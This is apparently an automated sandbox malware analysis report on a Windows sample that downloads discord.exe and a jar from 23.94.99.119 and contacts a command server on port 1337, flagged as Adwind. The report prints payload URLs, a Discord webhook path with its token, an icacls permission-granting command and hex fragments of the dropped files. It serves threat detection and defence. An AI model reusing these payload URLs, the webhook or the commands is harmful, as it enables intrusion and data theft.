Edit tour

Windows Analysis Report
S3zoj9Uts0.exe

Overview

General Information

Sample Name:	S3zoj9Uts0.exe
Analysis ID:	798180
MD5:	94ccb92b775297f357670abd1e6f754b
SHA1:	50a9d6f7828c193c965ff9c5df8bc290b06122a8
SHA256:	a4c3028eddea3f36439b4b4aba7c1511f7b39dd0a92f38a282968d259d8e3286
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Drops executable to a common third party application directory

Machine Learning detection for sample

Machine Learning detection for dropped file

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Downloads executable code via HTTP

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Uses cacls to modify the permissions of files

Detected TCP or UDP traffic on non-standard ports

Binary contains a suspicious time stamp

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

S3zoj9Uts0.exe (PID: 1172 cmdline: C:\Users\user\Desktop\S3zoj9Uts0.exe MD5: 94CCB92B775297F357670ABD1E6F754B)

javaw.exe (PID: 3372 cmdline: "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar" MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

icacls.exe (PID: 3048 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M MD5: FF0D1D4317A44C951240FAE75075D501)

conhost.exe (PID: 4904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

discord.exe (PID: 5836 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe" MD5: 94CCB92B775297F357670ABD1E6F754B)

javaw.exe (PID: 5944 cmdline: "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar" MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

discord.exe (PID: 3160 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe" MD5: 94CCB92B775297F357670ABD1E6F754B)

javaw.exe (PID: 4904 cmdline: "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar" MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)

cleanup

Snort Signatures

ETPRO TROJAN Java/Adwind Variant CnC Activity - Source IP: 192.168.2.4 - Destination IP: 23.94.99.119

Timestamp:	192.168.2.423.94.99.1194969813372853044 02/03/23-20:40:09.381307
SID:	2853044
Source Port:	49698
Destination Port:	1337
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: S3zoj9Uts0.exe	ReversingLabs: Detection: 28%
Source: S3zoj9Uts0.exe	Virustotal: Detection: 31%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: S3zoj9Uts0.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://23.94.99.119/discord.jar	Avira URL Cloud: Label: malware
Source: http://23.94.99.119/discord.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Avira: detection malicious, Label: HEUR/AGEN.1217604

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: S3zoj9Uts0.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.232:443 -> 192.168.2.4:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49701 version: TLS 1.2

Source: S3zoj9Uts0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\akate\source\repos\MAHAServer\MAHA\obj\Debug\discord.pdb source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024B1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\akate\source\repos\MAHAServer\MAHA\obj\Debug\discord.pdbR source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024B1000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2853044 ETPRO TROJAN Java/Adwind Variant CnC Activity 192.168.2.4:49698 -> 23.94.99.119:1337

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1Content-Type: application/jsonHost: canary.discord.comContent-Length: 62Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1Content-Type: application/jsonHost: canary.discord.comContent-Length: 62Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1Content-Type: application/jsonHost: canary.discord.comContent-Length: 62Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /discord.exe HTTP/1.1Host: 23.94.99.119Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /discord.jar HTTP/1.1Host: 23.94.99.119

Source: Joe Sandbox View

IP Address: 162.159.138.232 162.159.138.232

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Feb 2023 19:39:59 GMTServer: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0Last-Modified: Mon, 30 Jan 2023 14:08:02 GMTETag: "7800-5f37bbe46bd01"Accept-Ranges: bytesContent-Length: 30720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7b 69 01 d9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 6e 00 00 00 08 00 00 00 00 00 00 7e 8c 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2a 8c 00 00 4f 00 00 00 00 a0 00 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 98 8b 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 6c 00 00 00 20 00 00 00 6e 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d4 05 00 00 00 a0 00 00 00 06 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 8c 00 00 00 00 00 00 48 00 00 00 02 00 05 00 94 29 00 00 d4 1c 00 00 03 00 02 00 13 00 00 06 68 46 00 00 30 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 02 28 19 00 00 0a 00 00 2a 00 00 13 30 02 00 39 00 00 00 01 00 00 11 00 7e 01 00 00 04 14 fe 01 0a 06 2c 22 00 72 01 00 00 70 d0 02 00 00 02 28 1a 00 00 0a 6f 1b 00 00 0a 73 1c 00 00 0a 0b 07 80 01 00 00 04 00 7e 01 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 02 00 00 11 00 7e 02 00 00 04 0a 2b 00 06 2a 22 00 02 80 02 00 00 04 2a 13 30 01 00 0b 00 00 00 03 00 00 11 00 7e 03 00 00 04 0a 2b 00 06 2a 22 02 28 1d 00 00 0a 00 2a 56 73 06 00 00 06 28 1e 00 00 0a 74 03 00 00 02 80 03 00 00 04 2a ce 02 14 7d 04 00 00 04 02 28 1f 00 00 0a 00 00 02 28 11 00 00 06 00 02 7b 08 00 00 04 25 6f 20 00 00 0a 72 3b 00 00 70 28 21 00 00 0a 6f 22 00 00 0a 00 2a 0a 00 2a 0a 00 2a ba 00 72 75 00 00 70 28 23 00 00 0a 26 02 7b 08 00 00 04 25 6f 20 00 00 0a 28 24 00 00 0a 72 8f 00 00 70 28 25 00 00 0a 6f 22 00 00 0a 00 2a ba 00 72 ab 00 00 70 28 23 00 00 0a 26 02 7b 08 00 00 04 25 6f 2

Source: global traffic

TCP traffic: 192.168.2.4:49698 -> 23.94.99.119:1337

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Feb 2023 19:39:59 GMTServer: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0Last-Modified: Thu, 26 Jan 2023 03:05:11 GMTETag: "9feb5-5f32204607ff8"Accept-Ranges: bytesContent-Length: 655029Content-Type: application/java-archiveData Raw: 50 4b 03 04 14 00 08 08 08 00 a5 98 39 56 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 49 6c 49 49 6c 4c 6c 6c 49 2f 6c 6c 6c 49 6c 49 6c 49 6c 6c 6c 2f 49 49 6c 6c 6c 6c 6c 49 6c 49 49 6c 2f 6c 49 6c 49 6c 49 49 6c 6c 49 2f 49 49 6c 6c 49 6c 6c 6c 6c 49 49 6c 49 49 49 49 2e 63 6c 61 73 73 d5 3c 07 40 14 47 d7 b3 fb 0e 0e 8e 03 d6 5b 16 59 50 44 44 a4 0a 2a 2e 78 d8 10 44 0f 10 0b ab 02 56 44 04 04 01 01 0b 4a d4 58 63 4c 8f 31 31 cd 96 c4 98 98 c4 44 83 18 13 4b 8a 26 c6 24 a6 1b a3 29 98 de 13 d3 1b ff 9b d9 bd 42 b1 e7 fb f2 fd 78 f7 76 df ec cc 6b f3 de cc bc d9 39 8f fc fd c4 3e 42 48 82 41 e2 c8 40 5b b9 cd 56 9e 55 5e 6e 8b 2b 47 c0 fe 95 97 c7 d9 28 64 b8 ad 3c 4e 2b b6 d1 3a 0c b2 27 b4 c4 66 33 12 8e 23 c2 cc 82 b9 05 71 e5 05 15 c5 71 23 a7 cd 2c 2a ac 35 12 c0 52 5a d5 66 b3 b7 2d b7 71 64 40 d6 45 72 d3 d8 68 64 92 39 e2 63 d3 2a 69 35 90 a0 38 21 cb c9 3b a7 b6 ba b4 a2 98 56 d3 04 b4 e9 64 38 c2 d9 60 72 70 f1 19 fa c4 66 97 9d 92 e0 88 21 22 72 c2 10 8e f8 6a 35 6d ba 6e e5 1c 49 8a 70 a1 9c 5a 5e 50 53 93 9c d5 5a cd 64 5b 64 db 32 8e f4 ee af 5a db 96 0f 6c 43 b0 7f d4 c0 64 55 4d 8e c4 2f 47 42 9c 0f 51 86 a2 e2 82 f2 94 c2 c2 a2 9a 9a a1 f3 0b 8b aa 6a 4b 2b 2b 8c a4 03 47 02 9d b5 c6 cc a9 a8 2d 9d 55 e4 f2 5c 44 7b b0 e7 a5 95 71 b6 91 2e 0f 24 a8 e8 f1 c8 56 98 16 9b 93 66 26 9e c4 e4 49 78 22 43 71 ff 9d 2f 42 f7 93 d3 12 38 32 f8 62 9d c0 66 ef d9 72 ad c8 48 3a d3 0e b7 77 8c 4e 81 23 89 17 62 c5 7c bb 19 e7 d4 96 96 c7 65 95 d6 d4 26 9b 49 17 12 62 22 c1 a4 2b f6 59 cb 67 46 d2 8d 23 1e a5 b5 45 d5 05 b5 95 d5 1c f1 8f 70 6d 6d d3 cb 91 42 77 12 ee 45 c2 48 0f e8 9d 38 61 13 76 71 2b 41 8c 24 8a 23 96 b6 2d 8d 24 86 23 c6 92 82 9a ec a2 f9 b5 1c 81 88 c8 7c 33 e9 49 e2 bc 48 2c 89 87 d0 c4 ad 1d d1 6b 2a d8 33 bf 88 76 fa df 4c fa 90 04 5a b9 2f 47 3a 3a 9f 56 17 cd 28 c7 c7 71 e9 a5 45 e5 d3 8d 24 11 ca b7 de 5d 0b 09 bd 17 e6 62 af 69 76 b6 3b 26 bb e1 48 4f 57 db b5 68 de d2 ef 74 b7 37 93 64 d2 9f 9a 6c 00 e4 97 1d 29 31 13 37 e2 4e 3b 7a 30 94 dc 66 f5 e7 48 f2 65 84 9e 91 a4 a2 b6 7a e0 e9 d1 ac 3d 42 13 46 b4 e8 be 11 05 55 28 ca 50 92 6e 22 69 64 18 47 bc 5b 3c 32 12 6c e1 55 58 59 51 5b 50 5a 51 93 59 54 c7 11 29 a2 ad 0d a9 c9 33 49 96 17 c9 20 23 20 23 7f 11 8e 26 c6 e2 a2 5a b5 ae aa 08 ad d5 c2 ea 9a 53 99 c9 28 32 da 44 92 c8 18 08 7d 3a 0d 87 35 c0 ea 1c 09 6f 8f 76 7b 5d 36 96 8c a3 cc c6 43 67 ef d7 83 39 d2 41 d7 d1 69 03 8e 8c 3e a7 2b b7 ec 9f 0b 1b 29 cc 24 9f 4c 30 61 17 4d 44 79 6b a8 bc 3d da 91 b7 1d 0d c6 99 c9 64 32 85 aa 3b 15 7c 3b 1b c2 21 27 ec a0 0a 83 ae 79 3b 8a 82 5e 14 74 87 84 ed 1e 23 61 92 4f 6e 09 47 dc fb 97 56 94 d6 0e 64 ce 8c 6d 4b c9 4c 13 b1 90 32 c8 b8 a3 ff 2f 2d 46 6f cd 95 8c a4 02 82 0e bf f

Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.99.119

Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.000000000249B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.99.119
Source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002441000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.00000000023B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.99.119/discord.exe
Source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002441000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.00000000023B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.99.119/discord.jar
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.000000000249B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.99.1194
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.99.119D8
Source: javaw.exe, 00000001.00000002.581342306.000000000A1D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugreport.sun.com/bugreport/
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024E4000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.0000000002425000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://canary.discord.com
Source: javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html
Source: javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html#
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.htmlk
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: S3zoj9Uts0.exe, 00000000.00000002.575985804.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl3#?
Source: javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl3N?
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
